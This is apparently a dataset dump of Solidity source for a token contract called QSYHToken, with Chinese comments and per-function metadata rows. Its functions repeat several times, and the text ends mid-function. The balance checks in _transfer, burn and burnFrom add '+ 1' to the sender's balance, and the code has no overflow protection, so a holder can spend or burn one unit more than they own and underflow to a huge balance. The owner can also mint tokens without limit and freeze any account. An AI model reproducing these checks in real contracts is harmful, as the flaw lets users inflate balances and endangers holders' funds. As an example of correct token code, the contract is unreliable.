mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
| /**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
2285,
2588
]
} | 8,372 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | approve | function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
| /**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
2717,
2884
]
} | 8,373 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | approveAndCall | function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
| /**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
3078,
3412
]
} | 8,374 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | burn | function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
| /**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
3500,
3828
]
} | 8,375 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | TokenERC20 | contract TokenERC20 {
string public name; //发行的代币名称
string public symbol; //发行的代币符号
uint8 public decimals = 18; //代币单位，展示的小数点后面多少个0。
uint256 public totalSupply; //发行的代币总量
/*记录所有余额的映射*/
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* 在区块链上创建一个事件，用以通知客户端*/
//转帐通知事件
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value); //减去用户余额事件
/* 初始化合约，并且把初始的所有代币都给这合约的创建者
* @param initialSupply 代币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
//初始化总量
totalSupply = initialSupply * 10 ** uint256(decimals);
//给指定帐户初始化代币总量，初始化用于奖励合约创建者
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
/**
* 私有方法从一个帐户发送给另一个帐户代币
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint256 _value) internal {
//避免转帐的地址是0x0
require(_to != 0x0);
//检查发送者是否拥有足够余额
require(balanceOf[_from] + 1>= _value);
//检查是否溢出
require(balanceOf[_to] + _value > balanceOf[_to]);
//保存数据用于后面的判断
uint previousBalances = balanceOf[_from] + balanceOf[_to];
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
//判断买、卖双方的数据是否和转换前一致
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* 从主帐户合约调用者发送给别人代币
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* 从某个指定的帐户中，向另一个帐户发送代币
* 调用过程，会检查设置的允许最大交易额
* @param _from address 发送者地址
* @param _to address 接受者地址
* @param _value uint256 要转移的代币数量
* @return success 是否交易成功
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
//检查发送者是否拥有足够余额
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险
* @param _spender 帐户地址
* @param _value 金额
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* 设置帐户允许支付的最大金额
* 一般在智能合约的时候，避免支付过多，造成风险，加入时间参数，可以在 tokenRecipient 中做其他操作
* @param _spender 帐户地址
* @param _value 金额
* @param _extraData 操作的时间
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* 减少代币调用者的余额
* 操作以后是不可逆的
* @param _value 要删除的数量
*/
function burn(uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[msg.sender] + 1 >= _value);
//给指定帐户减去余额
balanceOf[msg.sender] -= _value;
//代币问题做相应扣除
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | /**
* 基础代币合约
*/ | NatSpecMultiLine | burnFrom | function burnFrom(address _from, uint256 _value) public returns (bool success) {
//检查帐户余额是否大于要减去的值
require(balanceOf[_from] + 1 >= _value);
//检查 其他帐户 的余额是否够使用
require(_value <= allowance[_from][msg.sender]);
//减掉代币
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
//更新总量
totalSupply -= _value;
Burn(_from, _value);
return true;
}
| /**
* 删除帐户的余额（含其他帐户）
* 删除以后是不可逆的
* @param _from 要操作的帐户地址
* @param _value 要减去的数量
*/ | NatSpecMultiLine | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
3950,
4407
]
} | 8,376 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | QSYHToken | contract QSYHToken is owned, TokenERC20 {
//卖出的汇率,一个代币，可以卖出多少个以太币，单位是wei
uint256 public sellPrice;
//买入的汇率,1个以太币，可以买几个代币
uint256 public buyPrice;
//是否冻结帐户的列表
mapping (address => bool) public frozenAccount;
//记录发币日期
mapping (address => uint) private coinmakingdate;
//定义一个事件，当有资产被冻结的时候，通知正在监听事件的客户端
event FrozenFunds(address target, bool frozen);
event jdAccounts(address target, uint jdnum);
/*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
/**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* 使用以太币购买代币
*/
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
/**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/
function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getcoinmakingdate(address target) public view returns (uint) {
return (coinmakingdate[target]);
}
} | /**
* 代币增发、
* 代币冻结、
* 代币自动销售和购买、
* 高级代币功能
*/ | NatSpecMultiLine | QSYHToken | function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
kenERC20(initialSupply, tokenName, tokenSymbol) public {}
| /*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/ | Comment | v0.4.16+commit.d7661dd9 | None | bzzr://6f992b4cff8f144bc7fea46ee9b37e5b69bff4a7ea2557a548f44b93b49e1358 | {
"func_code_index": [
609,
845
]
} | 8,377 |
QSYHToken | QSYHToken.sol | 0x8f59c838b4818fb77e95a9d6ee42190807d36137 | Solidity | QSYHToken | contract QSYHToken is owned, TokenERC20 {
//卖出的汇率,一个代币，可以卖出多少个以太币，单位是wei
uint256 public sellPrice;
//买入的汇率,1个以太币，可以买几个代币
uint256 public buyPrice;
//是否冻结帐户的列表
mapping (address => bool) public frozenAccount;
//记录发币日期
mapping (address => uint) private coinmakingdate;
//定义一个事件，当有资产被冻结的时候，通知正在监听事件的客户端
event FrozenFunds(address target, bool frozen);
event jdAccounts(address target, uint jdnum);
/*初始化合约，并且把初始的所有的令牌都给这合约的创建者
* @param initialSupply 所有币的总数
* @param tokenName 代币名称
* @param tokenSymbol 代币符号
*/
function QSYHToken (
uint256 initialSupply,
string tokenName,
string tokenSymbol
//jiedongAccount[msg.sender] = tokenSymbol;
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/**
* 私有方法，从指定帐户转出余额
* @param _from address 发送代币的地址
* @param _to address 接受代币的地址
* @param _value uint256 接受代币的数量
*/
function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
require (balanceOf[_to] + _value + 1> balanceOf[_to]);
//检查 冻结帐户
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
if(_from == owner) {
coinmakingdate[_to] = now;
}
//从发送者减掉发送额
balanceOf[_from] -= _value;
//给接收者加上相同的量
balanceOf[_to] += _value;
//通知任何监听该交易的客户端
Transfer(_from, _to, _value);
}
/**
* 合约拥有者，可以为指定帐户创造一些代币
* @param target address 帐户地址
* @param mintedAmount uint256 增加的金额(单位是wei)
*/
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
//给指定地址增加代币，同时总量也相加
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/**
* 增加冻结帐户名称
*
* 你可能需要监管功能以便你能控制谁可以/谁不可以使用你创建的代币合约
*
* @param target address 帐户地址
* @param freeze bool 是否冻结
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/**
* 设置买卖价格
*
* 如果你想让ether(或其他代币)为你的代币进行背书,以便可以市场价自动化买卖代币,我们可以这么做。如果要使用浮动的价格，也可以在这里设置
*
* @param newSellPrice 新的卖出价格
* @param newBuyPrice 新的买入价格
*/
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/**
* 使用以太币购买代币
*/
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
/**
* @dev 卖出代币
* @return 要卖出的数量(单位是wei)
*/
function sell(uint256 amount) public {
//检查合约的余额是否充足
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
function getcoinmakingdate(address target) public view returns (uint) {
return (coinmakingdate[target]);
}
} | /**
* 代币增发、
* 代币冻结、
* 代币自动销售和购买、
* 高级代币功能
*/ | NatSpecMultiLine | _transfer | function _transfer(address _from, address _to, uint _value) internal {
//避免转帐的地址是0x0
require (_to != 0x0);
//检查发送者是否拥有足够余额
require (balanceOf[_from] + 1 > _value);
//检查是否溢出
